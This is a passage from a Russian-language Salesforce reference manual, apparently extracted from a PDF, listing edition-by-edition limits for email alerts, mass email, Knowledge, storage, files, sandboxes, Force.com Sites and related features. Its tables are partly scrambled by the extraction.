• При срабатывании бизнес-правила, содержащего действие и электронное предупреждение, блокируется только
действие.

• Действия утверждения, отклонения, отзыва, окончательногоутвержденияиокончательногоотклоненияблокируются.

• Сообщение об ошибке добавляется в журнал отладки.

Ниже перечислены элементы, которые не учитываются данным ограничением.

• Электронные уведомления об утверждении

• Уведомления о назначении задачи
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• Уведомления о правилах назначения интересов

• Уведомления о правилах назначения обращений

• Уведомления о правилах расширения обращений

• Предупреждения об использовании Force.com Sites

Приприближенииилипревышениинекоторыхограниченийдля электронныхпредупрежденийбизнес-правилсистема
Salesforceотправляетсообщение-предупреждениепользователюбизнес-правилпоумолчаниюилиактивномусистемному
администратору (при его отсутствии).

Сообщение-предупреждение
содержит...

Система Salesforce отправляет...Условие

Содержимое и получатели
неотправленного электронного
предупреждения

Сообщение-предупреждение для
каждого неотправленного
электронного предупреждения

Электронное предупреждение не
отправляется, так как количество
получателейпревышает ограничение,
установленное для отдельного
сообщения эл. почты

ОграничениеитекущееиспользованиеОдно сообщение-предупреждениеОрганизация достигает 90% от
установленного ежедневного
ограничения по количеству
сообщений эл. почты

ОграничениеитекущееиспользованиеОдно сообщение-предупреждениеОрганизация достигает 90% от
установленного ежедневного
ограничения по количеству
электронных бизнес-правил

ОграничениеитекущееиспользованиеСообщение-предупреждение на
каждые 100 попыток отправки

Электронное предупреждение не
отправляется, так как организация

электронного предупреждения сверх
установленного ограничения

достигает ежедневного ограничения
по количеству сообщений эл. почты

ОграничениеитекущееиспользованиеСообщение-предупреждение на
каждые 100 попыток отправки

Электронное предупреждение не
отправляется, так как организация

электронного предупреждения сверх
установленного ограничения

достигает ежедневного ограничения
по количеству электронных
бизнес-правил

Ограничения для пакетных электронных рассылок
Ограничения по отправке пакетных электронных рассылок по версиям.

В течение одного дня (по Гринвичу), количество внешних адресов эл. почты, участвующих в пакетной электронной
рассылке, не должно превышать 1 000. Максимальное количество внешних адресов, доступное для добавления в каждую
пакетную электронную рассылку, определяется используемой версией системы.

Ограничение по количеству внешних адресов в
пакетной электронной рассылке

Версия

Пакетная электронная рассылка недоступнаPersonal Edition, Contact Manager и Group Edition

6054

Ограничения для сообщений эл. почтыОграничения Salesforce



Ограничение по количеству внешних адресов в
пакетной электронной рассылке

Версия

250Professional Edition

500Enterprise Edition

1,000Unlimited Edition и Performance Edition

Ниже перечислены дополнительные ограничения, действующие для пакетных электронных рассылок.

• Ограничения, установленные для отдельных сообщений эл. почты и пакетной электронной рассылки, не
распространяютсянауникальныеадреса. Например, адрес petrivanov@kompaniya.ru, добавленныйвсообщение
эл. почты 10 раз, считается как 10 адресов.

• Количество сообщений эл. почты, адресованных внутренним пользователям организации, включая пользователей
портала, не ограничено.

• Отправлять электронные сообщения можно только контактам, организациям-лицам, интересующимся клиентам и
внутренним пользователям организации.

• Организации Developer Edition, а также организации, предназначенные для оценки пробной версии Salesforce, могут
выполнятьпакетнуюэлектроннуюрассылкунеболее 10 внешнимконтактамвдень. Данноеминимальноеограничение
не распространяется на организации, которые были созданы до выпуска Winter'12 и активно использовалифункцию
пакетной электронной рассылки. Кроме того, в течение одного дня, количество адресов эл. почты, участвующих в
отправке отдельных сообщений, не должно превышать 15.

• Шаблон эл. почты Visualforce не поддерживает пакетные электронные рассылки.

Ограничения для Salesforce Knowledge
Ограничения для Salesforce Knowledge по версиям.

Salesforce Knowledge — это база знаний, предназначенная для создания и управления содержимым. Клиенты и партнеры
могут иметь доступ к статьям только в том случае, если клиентский или партнерский портал поддерживает Salesforce
Knowledge.

Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения для
Salesforce
Knowledge

50 000 статей————Максимальное
количество статей

100 типов статей————Максимальное
количество типов
статей

Версии Enterprise, Developer и Unlimited:
500 настраиваемых полей на тип статьи

Версии Performance: 800 настраиваемых
полей на тип статьи

————Максимальное
количество
настраиваемых
полей на тип
статьи
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения для
Salesforce
Knowledge

5 файловых полей————Максимальное
количество
файловых полей

Файловые поля учитываются как
вложения, поэтому их размер не может
превышать 25 Мб.

————Максимальный
размер файлового
поля

131072 символов————Максимальный
размер области
обогащенного
текста

1638400 символов————Максимальный
размер всех полей
форматированного
текста в статье

Однополе типа «Область обогащенного
текста» может содержать не более 100

————Максимальное
количество
уникальных ссылок на разные статьи Salesforce

Knowledge.ссылокна статьюв
поле типа
«Область
обогащенного
текста»

Период отслеживания событий статьи
составляет не более 18 месяцев.

————Функция
отслеживания
журнала статьи

16 поддерживаемых языков————Максимальное
количество
поддерживаемых
языков

Ниже перечислены требования,
предъявляемые архивнымфайлам
импорта.

————Импорт статей

• Файл импорта должен содержать
только один CSV-файл и одинфайл с
расширением .properties.

• CSV-файл и файл с расширением
.properties должны храниться в
корневом каталоге.
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения для
Salesforce
Knowledge

• Структура папок и подпапок должна
быть сохранена при сжатии.

• Имя архивного файла не может
содержать специальные символы.

• Размер архивного файла не должен
превышать 10 Мб, а размер
разархивированныхфайлов —
100 Мб.

• CSV-файлы могут содержать не более
10 000 строк, включая строку
заголовка. Таким образом, общее
количество статей и переводов не
должно превышать 9 999.

• Строки CSV-файла могут содержать
не более 400 000 символов.

• Размер ячеек CSV-файла должен
составлять не более 32 Кб.

• Каждой статье в CSV-файле может
бытьназначенонеболее 49 переводов.

5 групп категорий и 3 активные группы
категорий

————Максимальное
количество групп
категорий данных
и активных групп
категорий данных

100 категорийв группекатегорийданных————Максимальное
количество
категорий на
группу категорий
данных

5 уровней в иерархии групп категорий
данных

————Максимальное
количество
уровней в
иерархии групп
категорий данных

8 категорий данных в группе категорий
данных, назначенной статье

————Максимальное
количество
категорий данных
в группекатегорий
данных,
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения для
Salesforce
Knowledge

назначенной
статье

Организация может создавать не более
2 000 продвигаемых терминов.

————Максимальное
количество
продвигаемых
поисковых
терминов

Ограничения для полей
Ограничения для зашифрованных полей, полей слияния и полей формулы.

Ограничения для зашифрованных полей

Прим.: Данные сведения относятся только к функции классического шифрования и не относятся к функции
шифрования платформы.

Ниже перечислены ограничения, действующие для зашифрованных полей.

• Зашифрованные поля недоступны для использования в фильтрах (например, фильтры списковых представлений,
отчетов, полей сводного резюмирования и правил).

• Зашифрованные поля могут использоваться в шаблонах эл. почты, но их значения всегда скрыты, независимо от
наличия полномочия «Просмотр зашифрованных данных».

• ЗашифрованныеполяотображаютсянастраницахVisualforceтолькопосредствомкомпонента <apex:outputField>.

Ограничения для фильтров поиска
Фильтры поиска — это параметры администратора, ограничивающие доступные значения и результаты диалогового
окна поиска для полей взаимосвязи «Поиск», «Основная — подробная» и «Иерархия».

Ниже перечислены ограничения, действующие для фильтров поиска.

• Ниже перечислены типы полей, которые не могут использоваться критериямифильтрации поиска.

– Поля взаимосвязи для действий

– Системные поля, которые всегда доступны только для чтения (например, «Создано» и «Изменено»)

– Поля взаимосвязи, поддерживающие очереди (например, «Ответственный за обращение» и «Ответственный
за интерес»)

• Каждый объект может использовать не более пяти активных обязательных фильтров поиска и неограниченное
количество дополнительныхфильтров поиска. При достижении установленного ограничения рекомендуем создать
дополнительные фильтры и использовать правила проверки, инициирующие выполнение бизнес-правила при
сохранении.
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• Фильтры поиска для полей валюты не преобразуют валюты. Например, если организация использует мультивалюту
и критерий фильтрации поиска «"Ожидаемый доход" больше "100000"», то поиск возвращает все записи, поле
«Ожидаемый доход» которых содержит значение, превышающее 100 000 в любой валюте.

• Критерии фильтрации поиска не поддерживают использование специальных значений дат (например, «Сегодня»
или «Текущий месяц»).

• Поля, используемые активнымфильтром поиска, не могут быть удалены.

• Тип поля, используемый активнымфильтром поиска, не может быть изменен.

• Нижеперечисленытипыполейисходногообъекта, которыенемогутиспользоватьсякритериямифильтрациипоиска.

– Автонумерация

– Зашифровано

– Формула

– Область подробного текста

– Раскрывающийся список со множественным выбором

– Сводное резюмирование

– Текст

– Область текста

– URL-адрес

• Функцияавтозаполненияполейпоисканеподдерживаетсяпоискамипользователей, содержащимидополнительные
раскрывающиеся списки. Данная особенность характерна для организаций, использующих партнерский или
клиентский портал.

• Поля расширенных списковых представлений, используемые критериямифильтрации зависимого поиска, не могут
быть изменены.

• Фильтры поиска не поддерживают пакетное изменение ответственных сотрудников. Если критерии фильтрации
поиска ссылаютсянаполе «Ответственный», топакетноеизменениеответственныхсотрудниковможетинициировать
использование недопустимых значений, которые могут быть просмотрены только при попытке сохранения записи.

• Фильтр поиска не может использовать формулу, ссылающуюся на глобальные поля слияния, которые не
поддерживаются фильтром поиска.

• Критерии фильтрации поиска для поля «Имя организации» применяются только к организациям-компаниям, но
не организациям-лицам. Например, при использовании критерия фильтрации поиска «"Имя организации" не
содержит "диван"», организации-компании, имя которых содержит слово «диван» (например, «Диваны от Ивана»),
являются недопустимыми, тогда как организации-лица, имя которых содержит слово «диван» (например, «Иван
Диванов»), являются допустимыми и отображаются в диалоговом окне поиска для поля «Организация». Чтобы
отфильтровать записи по имени организации-лица, воспользуйтесь полем «Личное имя» или «Фамилия».

• Ниже перечислены поля Salesforce, которые не поддерживают функцию встроенного редактирования в списковых
представлениях.

– Поля исходного объекта, используемые зависимыми поисками.

– Поля с зависимыми поисками.

Ограничения для полей типа «Область обогащенного текста»
Мобильные приложения обрабатывают поля типа «Область обогащенного текста» аналогично полям типа «Область
подробного текста», которые не поддерживают отформатированное HTML-содержимое или изображения. Мобильное
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приложение усекает поля типа «Область обогащенного текста» до 1 000 символов, включая HTML-разметку. Рекомендуем
администраторамудалитьполя типа «Область обогащенного текста» измобильныхмакетов страниц. Еслипользователь
мобильного приложения редактирует поле типа «Область обогащенного текста», содержащее текст длиною более 1 000
символов, то данный текст автоматически усекается мобильным приложением.

Ограничения для полей сводного резюмирования
Поля сводного резюмирования недоступны для соотнесения полей преобразованных интересов.

СМ. ТАКЖЕ:

Поля слияния для формул кросс-объектов

Поля слияния для правил проверки

Рекомендации по правилам проверки

Ограничения для хранилищ и файлов
Ограничения для Salesforce Files, CRM Content и Chatter, а также ограничения по распределению хранилища.

Ограничения для Salesforce Files Sync

Ограничения, применяемые к объему хранилища, размеру файла и процессу синхронизациифайлов.

Ограничения для Salesforce CRM Content

Ограничения для Salesforce CRM Content по версиям.

Ограничения для файлов в Chatter

Ограничения для файлов, вложенных в сообщение или комментарий Chatter.

Ограничения для хранилищ данных и файлов
Ограничения по распределению хранилища на основе версии Salesforce и количества пользователей организации.

Ограничения для Salesforce Files Sync
Ограничения, применяемые к объему хранилища, размеру файла и процессу синхронизациифайлов.

ОграничениеФункция

Объем хранилища определяется количеством приобретенных лицензий
Salesforce. При необходимости организации могут приобретать

Единое хранилище

дополнительноехранилище.Дополнительнуюинформациюсм. вразделе
«Ограничения для хранилищ данных и файлов».

Пользователи могут синхронизировать не более 10 000файлов.Максимальное количество
синхронизированныхфайлов

500 папокМаксимальное количество
синхронизированных папок

Размер файла • 2 Гб при загрузке посредством веб-интерфейса
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ОграничениеФункция

• 2 Гб при загрузке посредством настольного клиентского приложения
Salesforce Files Sync (или 500 Мб при использовании прокси-сервера)

• 100 Мб при загрузке посредством мобильного устройства

2,048Максимальное количество версий на один
файл

1 000 пользователейМаксимальное количество пользователей,
которым доступна одновременная
синхронизация файла

10 000 в час на пользователя одного связанного приложения посредством
настольного клиентского приложения Salesforce Files Sync

Максимальноеколичествовызовов Connect
API

Ограничения для Salesforce CRM Content
Ограничения для Salesforce CRM Content по версиям.

Приложение Salesforce CRM Content может содержать файлы всех типов: от презентаций Microsoft® PowerPoint до аудио- и
видеофайлов, веб-страниц и документов Google®. В таблице ниже приведены ограничения для Salesforce CRM Content по
версиям.

Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

10 Гб10 Гб10 Гб10 Гб10 Гб10 Гб10 ГбДоставки содержимого:
стандартная пропускная
способность доставки за
истекшие сутки

20,00020,00020,00020,00020,00020,00020,000Доставки содержимого:
стандартное количество
просмотров доставки за
истекшие сутки

25 Мб25 Мб25 Мб25 Мб25 Мб25 Мб25 МбДоставки содержимого:
максимальный размер
файла для
интерактивного
просмотра

Для всех версий:Содержимое:
максимальный размер
файла • 2 Гб

• 2 Гб (включая заголовки) при загрузке посредством Chatter REST API

• 2 Гб (включая заголовки) при загрузке посредством REST API

• 38 Мб при загрузке посредством SOAP API
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

• 10 Мб для документов Google

• 10 Мб при загрузке посредством Visualforce

2,0002,0002,0002,0002,0002,0002,000Содержимое:
максимальное
количество библиотек

2,000,0002,000,0002,000,0002,000,0002,000,0002,000,0002,000,000Содержимое:
максимальное
количество документов
содержимого

2,50036,00036,00036,00036,00036,00036,000Содержимое:
максимальное
количестводокументови
версий содержимого в
течение суток
(настраиваемый)

505050505050—Пакеты содержимого:
максимальное
количество файлов

20 Кб20 Кб20 Кб20 Кб20 Кб20 Кб20 КбДокументы:
максимальный размер
логотипанастраиваемого
приложения

5 Мб5 Мб5 Мб5 Мб5 Мб5 Мб5 МбДокументы:
максимальный размер
загружаемого документа

255 символов255 символов255 символов255 символов255 символов255 символов255 символовДокументы:
максимальная длина
имени файла (включая
расширение)

Ограничения по поиску Salesforce CRM Content

Функция поиска поддерживает несколько типов файлов и использует ограничения по их размеру. Если размер файла
превышаетмаксимальнодопустимый, топоискпо тексту данногофайлане выполняется, номожетбыть выполненпоиск
по имени автора, тегам, расширениюфайла и настраиваемым полям.
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Максимальный размер файла для
поиска по тексту

Расширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML

25 Мб.pdfPDF

25 Мб.ppt, .pptx, .pptmPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css, .csv, .ini, .java,
.log, .sql, .txt

Text

25 Мб.doc, .docx, .docmWord

5 Мб.xls, .xlsx, .xlsmXLS

5 Мб.xmlXML

СМ. ТАКЖЕ:

Ограничения по поиску документов

Ограничения по поиску для файлов Chatter

Ограничения для файлов в Chatter
Ограничения для файлов, вложенных в сообщение или комментарий Chatter.

Ограничения по публикации файлов
Файл может быть опубликован не более 100 раз. Данное ограничение распространяется на файлы, доступ к которым
предоставлен людям, группам и по ссылке. Файл, доступный в частном порядке и опубликованный почти 100 раз,
желательно опубликовать в ленту для общего доступа.

Ограничения по размеру файлов
Ниже приведены ограничения по размеру файлов в Salesforce.

Связанный
список
«Вложения»

Вкладка
«Документы»

Salesforce
Knowledge

Salesforce CRM
Content

Файлы SalesforceФункция

5 Мбдлявложений2 ГбМаксимальный
размер файла

• 25 Мб для
файловых
вложений

• 5 Мб• 2 Гб

• •2 Гб (включая
заголовки) при

20 Кб для
логотипа
настраиваемого
приложения

загрузке
посредством
Chatter REST API

• 2 Гб для
вложений
ленты

• 2 Гб (включая
заголовки) при
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Связанный
список
«Вложения»

Вкладка
«Документы»

Salesforce
Knowledge

Salesforce CRM
Content

Файлы SalesforceФункция

загрузке
посредством
REST API

• 38 Мб при
загрузке
посредством
SOAP API

• 10 Мб для
документов
Google

• 10 Мб при
загрузке
посредством
Visualforce

Ограничения для хранилищ данных и файлов
Ограничения по распределению хранилища на основе версии Salesforce и количества пользователей организации.

Емкость хранилища
Хранилище состоит из двух областей: хранилищефайлов и хранилище данных. Хранилищефайлов содержит файлы,
доступные во вложениях, на вкладках «Документы» и «Файлы», в поле «Файл», а также в Salesforce CRM Content, файлах
Chatter (включая фотографии пользователей) и активах Site.com. Хранилище данных содержит:

• Организации

• Типы статей (формат: “[Имя типа статьи]”)

• Переводы типов статей (формат: “[Имя типа статьи] версия”)

• Кампании

• Участники кампании

• Обращения

• Группы, работающие с обращениями

• Контакты

• Контракты

• Настраиваемые объекты

• Сообщения эл. почты

• События

• Элементы прогноза

• Документы Google

• Идеи
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• Интересы

• Примечания

• Возможности

• Доли возможности

• Заказы

• Сметы

• Обогащенный текст шаблона сметы

• Решения

• Теги: уникальные теги

• Задачи

В версиях Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Performance Edition и Unlimited Edition емкость
хранилищафайловопределяетсяпутемумноженияограничения, предоставляемогодляодногопользователя, наколичество
пользователейорганизацииидобавлениядополнительногоограничения, предоставляемогодляорганизации. Например,
организации Professional Edition, содержащей 10 пользователей, предоставляется хранилищефайлов объемом 11 Гб, то
есть 100 Мб каждому из 10 пользователей, а также дополнительные 10 Гб. Организации Professional Edition, содержащей
100 пользователей, предоставляется хранилищефайлов объемом 20 Гб, то есть 100 Мб каждому из 100 пользователей, а
также дополнительные 10 Гб.

В версиях Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Performance Edition и Unlimited Edition емкость
хранилища данных составляет 1 Гб или определяется путем умножения ограничения, предоставляемого для одного
пользователя, на количество пользователей организации (в зависимости от того, какая величина больше). Например,
организации Professional Edition, содержащей 10 пользователей, предоставляется хранилище данных объемом 1 Гб, так
как общий объем, равный 200 Мб (10 пользователей по 20 Мб), не превышает 1 Гб. Организации Professional Edition,
содержащей 100 пользователей, предоставляется хранилищеданныхобъемомболее 1 Гб, так какобщийобъемсоставляет
2 000 Мб (100 пользователей по 20 Мб).

Объем хранилища вычисляется асинхронно, поэтому при импорте или добавлении большого количества записей или
файлов сведения об использовании хранилища организации обновляются позже.

Значения в столбцах «Распределение хранилища на лицензиюпользователя» ниже применяются к лицензиям Salesforce
и Salesforce Platform. Другие стандартные лицензии (например, лицензии пользователя сообществ) поддерживают
дополнительноехранилище. Описаниелицензийпользователясм. вразделе «Общиесведенияолицензияхпользователя».
Еслиорганизацияиспользуетнастраиваемыелицензиипользователя, обратитесьв компаниюSalesforceдляопределения
лицензий, поддерживающих дополнительное хранилище.

Распределение
хранилища файлов
на лицензию
пользователя

Распределение
хранилища файлов
на организацию

Распределение
хранилища данных
на лицензию
пользователя

Минимальное
хранилище данных
на организацию

Версия Salesforce

612 Мб11 Гб20 Мб1 ГбContact Manager

612 Мб11 Гб20 Мб1 ГбGroup Edition

612 Мб11 Гб20 Мб1 ГбProfessional Edition

2 Гб11 Гб20 Мб1 ГбEnterprise Edition

2 Гб11 Гб120 Мб1 ГбPerformance Edition

2 Гб11 Гб120 Мб1 ГбUnlimited Edition
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Распределение
хранилища файлов
на лицензию
пользователя

Распределение
хранилища файлов
на организацию

Распределение
хранилища данных
на лицензию
пользователя

Минимальное
хранилище данных
на организацию

Версия Salesforce

—20 Мб—5 МбDeveloper Edition

—20 Мб—20 Мб (примерно
10 000 записей)

Personal Edition

Прим.: Единственная лицензия, поддерживающая дополнительное хранилище, — это лицензия «Пользователь
Salesforce CRM Content». Каждая лицензия «Пользователь Salesforce CRM Content» предоставляет дополнительное
хранилищефайловобъемом 512 Мбнезависимоотналичия Salesforce CRM Content. Чтобыопределить, поддерживает
ли организация компонент Salesforce CRM Content, обратитесь к администратору Salesforce.

Ограничения по просмотру страниц Force.com Sites
Ограничения для запросов, считающихся просмотрами страниц.

Ниже перечислены запросы, которые считаются просмотрами страницы.

Пример URL-адресаОбъект запроса

http://moyakompaniya.force.comСобственный домен Force.com

http://moyakompaniya.comСобственный настраиваемый веб-адрес

http://moyakompaniya.force.com/moyastranitsaЛюбая страница, связанная с сайтом

http://moyakompaniya.force.com/UnauthorizedСтраницаошибки «Требуется авторизация»

—Запросы AJAX, включая удаленный вызов
JavaScript (например,
RemoteAction)<apex:actionFunction><apex:actionPoller>

Ниже перечислены запросы, которые не считаются просмотрами страницы.

Пример URL-адресаОбъект запроса

http://moyakompaniya.force.com/img/force_logo_w09.gifИзображения Salesforce

http://moyakompaniya.force.com/resource/1233771498000/backgroundСобственные статические ресурсы

http://moyakompaniya.force.com/robots.txtRobots.txt

http://moyakompaniya.force.com/favicon.icoИзбранный значок

—Вложения и документы

http://moyakompaniya.force.com/BandwidthExceededСтраницы ошибок, кроме страницы
«Требуется авторизация» (например,
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Пример URL-адресаОбъект запроса

«Превышено ограничение» и
«Обслуживание»)

http://moyakompaniya.force.com/servlet/rtaImageИзображения, добавленные с HTML-полем

http://moyakompaniya.force.com/servlet/fileFieldНастраиваемое файловое поле

Пропускная способность и просмотры страниц «Превышено ограничение», «Обслуживание», «Страница не найдена»
или выбранных неактивных начальных страниц не учитываются заданными ограничениями. Данные страницы могут
быть оформлены посредством статических ресурсов. Ниже перечислены действующие ограничения.

• Размер статического ресурса не должен превышать 50 Кб.

• Статическими ресурсами могут быть таблицы стилей (CSS), графические файлы или файлы JavaScript.

• Данные страницы не поддерживают использование контроллеров Apex.

• Данные страницы не поддерживают выполнение операций SOQL или DML.

Ограничения по выставлению счета для Force.com Sites
Термины для ограничений по выставлению счета для сайтов Force.com.

Ниже перечислены термины, применяемые к ограничениям по выставлению счета для Force.com Sites.

• «Просмотры страниц» — это общее количество страниц, обработанных сервером-источником сайта или сервером
кэширования.

• «Пропускная способность» — это количество мегабайт, переданных и принятых сервером-источником сайта и
сервером кэширования.

• «Время запроса на обслуживание» — это общее время сервера (в минутах), необходимое для создания страниц сайта.

• «Истекшие сутки» — это последние 24 часа, предшествующие текущему времени.

• «Сервер-источник» — это веб-сервер, используемый для размещения сайта.

• «Сервер кэширования» — это CDN-сервер, обслуживающий кэшированные страницы сайта.

• «Текущийпериод» — этотекущийкалендарныймесяц, втечениекоторогопользователяморганизациипредоставляется
определенное количество просмотров страниц.

Ниже перечислены ограничения Salesforce, применяемые к ежемесячным просмотрам страниц для Force.com Sites.

• Счет выставляетсяисходяиз количества ежемесячныхпросмотровстраниц, приобретенногодляорганизации. Данное
ограничение является общим для всех сайтов организации.

• Если организация достигает 110% от установленного ограничения в отдельном календарном месяце, то компания
Salesforce отправляет соответствующее электронное уведомление администраторам сайта и ответственным за
выставление счета.

• Если организация превышает 110% от установленного ограничения на протяжении четырех последовательных
календарных месяцев, то сайты отключаются до начала следующего календарного месяца или приобретения
дополнительных просмотров страниц. Кроме того, компания Salesforce отправляет соответствующее электронное
уведомление администраторам сайта, ответственным за выставление счета и связанным менеджерам по работе с
клиентами.

• Если организация достигает 300% от установленного ограничения в отдельном календарном месяце, то сайты
отключаются доначала следующего календарногомесяца илиприобретения дополнительныхпросмотров страниц.
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Кроме того, компания Salesforce отправляет соответствующее электронное уведомление администраторам сайта,
ответственным за выставление счета и связанным менеджерам по работе с клиентами.

Общие ограничения для безопасных сред и их хранилищ
Ограничения для безопасных сред.

Безопасная среда — это копия организации в отдельной среде, котораяможет использоваться в разныхцелях (например,
тестирование и обучение). Безопасные среды полностью изолированы от основной производственной организации
Salesforce, поэтомуоперации, выполняемыевбезопасныхсредах, невлияютнаосновнуюпроизводственнуюорганизацию
Salesforce.

Ниже перечислены ограничения, действующие для безопасных сред.

• Безопасная среда Full Sandbox может быть обновлена через 29 дней после создания или последнего обновления.
Замена безопасной среды Full Sandbox, удаленной в течение данных 29 дней, может быть выполнена только через
29 дней после создания или последнего обновления.

• Безопасная средаPartial Copy Sandboxможетбытьобновленачерез 5 днейпосле созданияилипоследнегообновления.
Замена безопасной среды Partial Copy Sandbox, удаленной в течение данных 5 дней, может быть выполнена только
через 5 дней после создания или последнего обновления.

• Безопасная среда Developer Sandbox или Developer Pro Sandbox может обновляться не чаще одного раза в день.

• Версия Enterprise Edition поддерживает лицензии на 25 безопасных сред Developer.

• Версия Performance Edition поддерживает лицензии на 1 безопасную среду Full, 1 безопасную среду Partial Copy, 5
безопасных сред Developer Pro и 100 безопасных сред Developer.

• Версия Unlimited Edition поддерживает лицензии на 1 безопасную среду Full, 5 безопасных сред Developer Pro и 50
безопасных сред Developer.

• Есливампотребуютсялицензиинабольшееколичествобезопасныхсред, обратитесьв компаниюSalesforceизакажите
безопасные среды для своей организации.

Ниже перечислены ограничения, действующие для хранилищ безопасных сред.

• Безопасным средам Partial Copy Sandbox предоставляется хранилищефайлов объемом 5 Гб и хранилище данных
объемом 5 Гб.

• Безопасным средам Developer Pro Sandbox предоставляется хранилищефайлов объемом 1 Гб и хранилище данных
объемом 1 Гб.

• Безопасным средам Developer Sandbox предоставляется хранилищефайлов объемом 200 Мб и хранилище данных
объемом 200 Мб.

• БезопаснымсредамFull Sandboxпредоставляетсяхранилище, аналогичноехранилищупроизводственнойорганизации.

• Безопасные среды не отправляют электронные уведомления при достижении установленных ограничений. Тем не
менее при достижении ограничения по объему хранилища безопасной среды сохранение новых данных не
поддерживается.Чтобы просмотреть ограничение по объему хранилища, введите строку «Использование хранилища»
в поле «Быстрый поиск» в меню «Настройка», затем выберите пункт «Использование хранилища» в
соответствующей безопасной среде.

Ограничения для партнерских порталов
Ограничения для партнерских порталов.
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Максимальное количество партнерских порталов
Каждая организацияможет создавать не более 5 партнерскихпорталов. Чтобы увеличить данное количество, обратитесь
к менеджеру по продукции и подробно опишите случаи использования.

Максимальное количество ролей портала
Максимальноеколичестворолейпорталадляорганизациисоставляет 5 000. Данноеограничениеохватываетролипортала,
связанныесовсемиклиентскимипорталами, партнерскимипорталамиилисообществамиорганизации.Чтобыизбежать
ненужногоувеличенияданногоколичества, рекомендуемрегулярнопроверятьисокращатьколичестворолейдлякаждого
портала и сообщества. Кроме того, рекомендуем удалять неиспользуемые роли портала. Чтобы увеличить количество
ролей портала, обратитесь в службу поддержки Salesforce.

Ограничения для политик паролей
Ограничения по количеству и использованию паролей пользователей.

Многочисленные политики паролей и входа позволяют обеспечить безопасность организации.

Прим.: Размер пароля пользователя не может превышать 16 000 байт.

Каждыйпользовательможетвыполнятьнеболее 3 600 входоввчас. Данноеограничениеприменяетсякорганизациям,
созданным после выпуска Summer'08.

СМ. ТАКЖЕ:

Поля политик паролей в профиле

Ограничения для консоли Salesforce
Общие ограничения по использованию консоли Salesforce.

Консоль Salesforce — это приложение, предназначенное для быстрого поиска, обновления и создания записей.

Для повышения производительности Live Agent на консоли Salesforce рекомендуем использовать обозреватель Internet
Explorer 8, 9 или 10, либо последнюю стабильную версию обозревателя Firefox или Google Chrome.Ниже перечислены
ограничения, действующие для консоли Salesforce.

• Еслипользователь, вошедшийна консоль Salesforce, выполняет вход в другоеприложение Salesforce, тоновые запросы
на чат не могут быть приняты.

• Администраторы Chatter Answers не могут настраивать вопросы и ответы, доступные клиентам при выборе ссылки
«Нужна помощь?».

• Пользователям Internet Explorer 8 отображаетсяпредупреждениесистемыбезопасности, еслинастраиваемые URL-адреса
не содержат префикса https://.

Ограничения для сайтов по версиям
Ограничения для сайтов, пропускной способности, времени запроса на обслуживание и максимального количества
просмотров страниц по версиям.

Site.com — это система управления веб-содержимым, обеспечивающаябыстрое созданиединамическихвеб-страницпод
управлением данных и редактирование содержимого в режиме реального времени.
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В таблице ниже приведены ограничения, действующие для сайтов в разных версиях Salesforce.

Максимальное
количество
просмотров
страниц

Время запроса на
обслуживание (за
истекшие сутки на сайт)

Ограничение пропускной
способности (за истекшие
сутки на сайт)

Максимальное
количество
сайтов

Версия

—10 минут500 Мб1Developer Edition

500,00030 минут для безопасной
среды

60 часов для
производственной среды

1 Гб для безопасной среды

40 Гбдляпроизводственной
среды

25Enterprise Edition

1,000,00030 минут для безопасной
среды

60 часов для
производственной среды

1 Гб для безопасной среды

40 Гбдляпроизводственной
среды

25Unlimited Edition

Performance Edition

СМ. ТАКЖЕ:

Ограничения по импорту Site.com

Ограничения по просмотру страниц Force.com Sites

Ограничения по выставлению счета для Force.com Sites

Ограничения по импорту Site.com
Ограничения по импорту сайтов и файлов.

Максимальныйразмеримпортируемогосайтанедолженпревышать 2 Гб.Максимальныйразмеримпортируемогофайла
не должен превышать 50 Мб, кроме случаев импорта и восстановления архивногофайла. Чтобы импортировать архивный
файл размером не более 200 Мб, выберите параметр «Извлечьфайлы из архива» во время импорта.

Ограничения для веб-запросов
Ограничения по параллельному использованию веб-запросов.

Чтобы гарантировать доступность ресурсов всем пользователям Salesforce, каждой организации предоставляется
ограниченное количество параллельных длительных веб-запросов. Система Salesforce отслеживает количество
параллельных запросов, отправляемых всеми текущими пользователями организации, и сопоставляет полученное
количество с установленным ограничением. Данный алгоритм позволяет гарантировать, что количество параллельных
запросовнепревысит установленноеограничение. Данноеограничениеобеспечиваетодинаковуюдоступностьресурсов
всем организациям и предотвращает умышленное или случайное чрезмерное использование ресурсов отдельной
организацией.

Если количество отправленных запросов превышает максимально допустимое, то новая задача может быть выполнена
толькопосле выполнениякакминимумодного запроса. Например, численностьорганизации «Моякомпания» составляет
100 000 пользователей. В 9:00 каждый пользователь отправляет запрос на создание отчета, содержащего 200 000 записей.
Система Salesforce запускает отчеты для всех пользователей пока не будет достигнуто максимальное количество
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параллельныхзапросов. Придостиженииустановленногоограниченияприемдополнительныхзапросоввозобновляется
только после выполнения некоторых отчетов.

Подобные ограничения также действуют для запросов, отправленных посредством API.

Ограничения по сотрудничеству

Ограничения для утверждений Chatter

Ограничения для утверждений, охватывающие делегированных ответственных за утверждение, сообщения об
утверждениях и пользователей Sites или портала.

Ограничения для Chatter Plus

Ограничения для функций Chatter Plus (также называется Chatter Only).

Ограничения для функции отслеживания ленты
Ограничения для отслеживания объектов, полей и тем.

Общие ограничения для Chatter

Ограничения для функций Chatter по версиям, а также ограничения обозревателя и ограничения для упоминаний.

Ограничения для списковых представлений в лентах
Ограничения для списковых представлений в лентах записей.

Ограничения по поиску для файлов Chatter

Ограничения по поиску, применяемые к типу и размеру файла Chatter.

Ограничения по общему доступу к пользователям в Chatter

